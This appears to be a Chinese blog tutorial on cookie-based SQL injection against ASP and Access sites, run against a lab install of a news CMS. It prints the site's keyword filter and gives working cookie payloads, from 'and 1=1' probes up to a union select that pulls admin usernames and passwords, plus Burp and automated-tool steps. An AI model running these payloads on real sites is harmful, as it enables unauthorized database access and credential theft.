SQL注入系列之ASP+ACCESS手动注入(二)----Cookie注入
一、简介
Cookie的定义是这样的:Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站和电子商务网站中的“购物车”。
Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。
要想深入了解Cookie注入的成因,必须要了解ASP脚本中的request对象。它被用于从用户那里获取信息。Request对象的使用方法一般是这样的:request.[集合名称](参数名称),比如获取从表单中提交的数据时可以这样写:request.form("参数名称"),但ASP中规定也可以省略集合名称,直接用这样的方式获取数据:request("参数名称"),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。这样,当我们使用request("参数名称")方式获取客户端提交的数据,并且没有对使用request.cookies("参数名称")方式提交的数据进行过滤时,Cookie注入就产生了。
二Cookie注入典型步骤
1.寻找形如“.asp?id=xx”类的带参数的URL。
2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
3.清空浏览器地址栏,输入“JavaScript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。
4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” “javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。
5.使用常规注入语句进行注入即可。
三、Cookie注入实战
测试程序这里采用:南方数据新闻发布管理系统 V7.0
可以从这下载:http://download.csdn.net/detail/u011781521/9764335
下载之后解压放到IIS环境中去。访问: http://192.168.87.129/index.asp
查看其中的 Shownews.asp 文件
查看Check_Sql.asp文件
- <%
- Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
- '------定义部份 头----------------------------------------------------------------------
- Err_Message = 1 '处理方式:1=提示信息,2=转向页面,3=先提示再转向
- Err_Web = "Err.Asp" '出错时转向的页面
- Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
- '在这部份定义get非法参数,使用"∥"号间隔
- Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在这部份定义post非法参数,使用"∥"号间隔
- '------定义部份 尾-----------------------------------------------------------------------
- '
- On Error Resume Next
- '----- 对 get query 值 的过滤.
- if request.QueryString<>"" then
- Chk_badword=split(Query_Badword,"∥")
- FOR EACH Query_Name IN Request.QueryString
- for i=0 to ubound(Chk_badword)
- If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
- Select Case Err_Message
- Case "1"
- Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&" 的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');window.close();</Script>"
- Case "2"
- Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
- Case "3"
- Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&"的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
- End Select
- Response.End
- End If
- NEXT
- NEXT
- End if
- '-----对 post 表 单值的过滤.
- if request.form<>"" then
- Chk_badword=split(Form_Badword,"∥")
- FOR EACH name IN Request.Form
- for i=0 to ubound(Chk_badword)
- If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
- Select Case Err_Message
- Case "1"
- Response.Write "<Script Language=JavaScript>alert('出错了!表单 "&name&" 的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');window.close();</Script>"
- Case "2"
- Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
- Case "3"
- Response.Write "<Script Language=JavaScript>alert('出错了!参数 "&name&"的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');location.href='"&Err_Web&"';</Script>"
- End Select
- Response.End
- End If
- NEXT
- NEXT
- end if
- %>
它有对get/post注入进行过滤,并没有对Cookie进行过滤。
1)手工注入
1.寻找形如“.asp?id=xx”类的带参数的URL。
提示包好非法字符串,这是由于它对POST/GET进行了过滤。
2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。
4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的
URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));”URL:“javascript:alert(document.cookie="id="+escape("xx and 1=2"));”
和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。
先去掉地址,然后输入:
- javascript:alert(document.cookie="id="+escape("xx and 1=1"));
然后去掉?id=27看是否能正常显示。
然后再清除地址,输入:
- javascript:alert(document.cookie="id="+escape("xx and 1=2"));
然后去掉?id=27看是否能正常显示。
出错了,说明存在Cookie注入,然后换语句猜解字段数:
javascript:alert(document.cookie="id="+escape("27 order by 12"));
order by 12 时报错,换成11再试:
- javascript:alert(document.cookie="id="+escape("27 order by 11"));
11时正确,说明字段数为11。然后就是猜解表名:
- javascript:alert(document.cookie="id="+escape("27 and exists (select * from admin) "));
正确说明存在"admin"这个表。接下来就是猜解内容:
- javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from admin "));
爆出来:2,3,替换2,3为你想要猜解出来的内容。
- javascript:alert(document.cookie="id="+escape("27 union select 1,username,password,4,5,6,7,8,9,10,11 from admin "));
2)Burp+手工注入
这里用Burp工具+手工来操作,打开Burp然后监听80端口,然后刷新页面,Burp就会进行拦截
截取到之后,右键发送到 Repeater
进行手工注入。先Go过去看先他的Content-Length长度是多少。
2189,然后在cookie中加入;id=27 and 1=1
再go,看下结果
发现并没有变,然后换成;id=27 and 1=2
发现还是没有变???难道不存在Cookie注入?? 把id=27 and 1=2 进行URL编码得到id%3d27+and+1%3d2 然后把/shownews.asp?id=27去掉,再GO一下,就可以了。
发现长度变成了7133。
3)利用Cookie工具注入中转
首先将存在有参数传递的页面完全打开,并将url复制下来:http://192.168.87.129/shownews.asp?id=27
运行“注入中转”工具,选择“cookie注入”,并按下图的格式进行填写。注意“post提交值”一定要用默认的“jmdcw=”,后面的“27”就是刚才所打开的网页所传送的参数值。
设置好之后,点击“生成ASP”,此时会在软件目录下生成一个asp网页文件jmCook.asp。
下面我们在主机上也安装小旋风ASPWeb服务器搭建一个Web环境,并将jmCook.asp这个文件复制到网站主目录wwwroot中。
打开浏览器,在地址栏中输入“192.168.87.129:8067/jmCook.asp?jmdcw=27”来访问刚才所生成的网页,此时就在本地打开了之前曾访问的那个页面。
在这个页面中,我们就可以使用之前的那些注入语句来实现注入了。
- <span style="font-size:18px"><span style="font-size:18px;"><span style="font-size:18px;"><span style="font-size:18px;">192.168.87.129:8067/jmCook.asp?jmdcw=27</span></span></span></span>
在地址后吗加个',数据库就报错了。
然后就可以和上面的一样进行手工注入。
4)利用三甲SQL注入工具进行注入
打开穿三甲工具,输入URL地址,然后选择Type,DB,keyword,注入类型。
选择好之后,点击开始
选择Datas然后选择ALL他就会自动扫描数据库。扫描出来之后,再次选择你要爆破的表,
然后选择"Columns"他就会自动去扫描表中的字段。然后选择你要获取那个字段的内容,选择好之后,然后点击获取数据。
用户名与密码就出来了。